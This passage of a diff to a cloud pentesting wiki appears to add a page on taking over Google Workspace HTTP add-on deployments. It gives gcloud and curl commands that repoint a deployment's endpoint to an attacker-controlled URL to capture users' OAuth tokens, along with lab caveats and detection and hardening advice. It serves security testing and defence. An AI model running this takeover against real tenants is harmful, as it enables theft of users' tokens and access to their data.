guesses. +* Require `iam.serviceAccounts.actAs` on the exact service account whenever a connection is created or updated, including cross-project service accounts. Restrict which principals can create connections in projects whose Connector service agent is trusted by external service accounts. + +## References + +* [1] [Application Integration `authConfigs.get` REST method](https://docs.cloud.google.com/application-integration/docs/reference/rest/v1/projects.locations.authConfigs/get) +* [2] [Application Integration AuthConfig and decrypted credential schema](https://docs.cloud.google.com/application-integration/docs/reference/rest/v1/projects.locations.authConfigs) +* [3] [Application Integration `integrations.execute` REST method](https://docs.cloud.google.com/application-integration/docs/reference/rest/v1/projects.locations.integrations/execute) +* [4] [Integration Connectors access permissions](https://docs.cloud.google.com/integration-connectors/docs/connectors-access-permissions) +* [5] [Cloud Asset Inventory supported asset types](https://docs.cloud.google.com/asset-inventory/docs/asset-types) +* [6] [Manage Application Integration authentication profiles](https://docs.cloud.google.com/application-integration/docs/configure-authentication-profiles) +* [7] [Configure the Gmail connector](https://docs.cloud.google.com/integration-connectors/docs/connectors/gsc_gmail/configure) +* [8] [Google Drive connector operations](https://docs.cloud.google.com/integration-connectors/docs/connectors/gsc_google_drive/overview) +* [9] [Configure and use the HTTP connector](https://docs.cloud.google.com/integration-connectors/docs/connectors/http/configure) +* [10] [Integration Connectors `connections.create` REST method](https://docs.cloud.google.com/integration-connectors/docs/reference/rest/v1/projects.locations.connections/create) +* [11] [Google Cloud security bulletin GCP-2026-059 / CVE-2026-4644](https://docs.cloud.google.com/support/bulletins#gcp-2026-059) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-workspace-addons-privesc.md b/src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-workspace-addons-privesc.md new file mode 100644 index 0000000000..b51308ece7 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-workspace-addons-privesc.md @@ -0,0 +1,97 @@ +# GCP - Workspace Add-on Deployment Takeover + +{{#include ../../../banners/hacktricks-training.md}} + +{% hint style="warning" %} +This is a **conditional GCP-to-Workspace pivot**, not a tenant-wide OAuth bypass. The target must be an existing HTTP Google Workspace add-on deployment, a user must already have installed and authorized it, and that user must invoke it after the change. The token is limited to that user's already-authorized scopes. +{% endhint %} + +## `gsuiteaddons.deployments.update` + +Google Workspace HTTP add-on deployments keep their endpoint and OAuth scopes in a GCP project. A principal with only `gsuiteaddons.deployments.update` can replace the deployment definition, including the HTTP function URL. It does not need `gsuiteaddons.deployments.get` or `gsuiteaddons.deployments.list` when the deployment resource name is already known. + +This matters because an HTTP add-on invocation contains an `authorizationEventObject`. For scopes the user already authorized, Google documents a `userOAuthToken` in that object. Repointing a trusted deployment to an attacker-controlled HTTPS endpoint can therefore expose future add-on events and the invoking user's existing scoped token. + +The permission is included in roles such as `roles/gsuiteaddons.admin`, `roles/gsuiteaddons.developer`, and `roles/appmetadata.workspaceMarketplaceAppConfigurationAdmin`. + +### Preconditions + +* A known project number and deployment ID. Listing the deployment is useful but is not required. +* The deployment uses an HTTP endpoint. Apps Script deployments have a different execution boundary. +* The victim already installed and authorized the add-on. +* The victim invokes an affected trigger after the replacement. +* The previously authorized scopes provide useful access. Adding scopes does not silently bypass OAuth consent. + +{% hint style="danger" %} +Do not interpret this permission as access to every user's Drive or Gmail. Impact is per installed/authorized user, per granted scope, and requires a later invocation. +{% endhint %} + +### Enumerate safely + +If listing is allowed: + +```bash +gcloud workspace-add-ons deployments list --project "$PROJECT_ID" +gcloud workspace-add-ons deployments describe "$DEPLOYMENT_ID" \ + --project "$PROJECT_ID" --format=json +``` + +If listing is denied, use deployment IDs recovered from source code, CI configuration, audit logs, documentation, Terraform state, or an application inventory. Test the exact update permission without changing anything: + +```bash +curl -sS -X POST \ + -H "Authorization: Bearer $(gcloud auth print-access-token)" \ + -H 'Content-Type: application/json' \ + "https://cloudresourcemanager.googleapis.com/v3/projects/${PROJECT_ID}:testIamPermissions" \ + -d '{"permissions":["gsuiteaddons.deployments.update"]}' +``` + +### Authorized-lab proof + +First preserve the full original deployment document. A replacement is a full `PUT`, so omitting fields can break the add-on. + +```bash +gcloud workspace-add-ons deployments describe "$DEPLOYMENT_ID" \ + --project "$PROJECT_ID" --format=json > original-deployment.json +``` + +Change only the intended `runFunction` URL in a copy, retain the original name, scopes, add-on sections, and HTTP options, then update it: + +```bash +ACCESS_TOKEN="$(gcloud auth print-access-token)" +PROJECT_NUMBER="$(gcloud projects describe "$PROJECT_ID" --format='value(projectNumber)')" + +curl -sS -X PUT \ + -H "Authorization: Bearer ${ACCESS_TOKEN}" \ + -H 'Content-Type: application/json' \ + "https://gsuiteaddons.googleapis.com/v1/projects/${PROJECT_NUMBER}/deployments/${DEPLOYMENT_ID}" \ + --data-binary @replacement-deployment.json +``` + +In a disposable lab, make the new endpoint record only whether a token exists, a one-way token hash, the request route, and the returned scope set. Do not read mailbox or Drive content merely to prove delivery. Restore the original deployment immediately after the test. + +The permission boundary was reproduced in September 2026 with a custom role containing only `gsuiteaddons.deployments.update`: + +* deployment `GET`: `403 PERMISSION_DENIED` +* deployment `LIST`: `403 PERMISSION_DENIED` +* deployment `PUT` changing `/victim` to `/attacker`: `200 OK` +* project `testIamPermissions`: returned only `gsuiteaddons.deployments.update` + +The same test also confirmed that a development deployment could not be installed by a user outside the owning Workspace organization, even after granting that user the project-level install permission. This is a useful boundary, but it does not protect already-installed users in the owning organization from an endpoint replacement. + +### Detection and hardening + +* Restrict the three add-on administration roles and custom roles containing `gsuiteaddons.deployments.update`. +* Alert on `UpdateDeployment` activity and unexpected endpoint, OAuth-scope, or manifest changes. +* Inventory add-on endpoints and link them to the Cloud Run, Cloud Functions, or external service that serves them. A runtime takeover can have the same downstream effect even when the deployment object itself is unchanged. +* Require deployment changes through reviewed infrastructure-as-code and compare the complete deployment, not only the endpoint. +* Keep scopes minimal and uninstall unused development deployments. + +### References + +* [Google Workspace Add-ons API: `replaceDeployment`](https://developers.google.com/workspace/add-ons/reference/rest/v1/projects.deployments/replaceDeployment) +* [HTTP add-on authorization event object and `userOAuthToken`](https://developers.google.com/workspace/add-ons/guides/alternate-runtimes#authorization_event_object) +* [Google Workspace Add-ons roles and permissions](https://cloud.google.com/iam/docs/roles-permissions/gsuiteaddons) +* [Deployment resource, triggers, and HTTP options](https://developers.google.com/workspace/add-ons/reference/rest/v1/projects.deployments) + +{{#include ../../../banners/hacktricks-training.md}}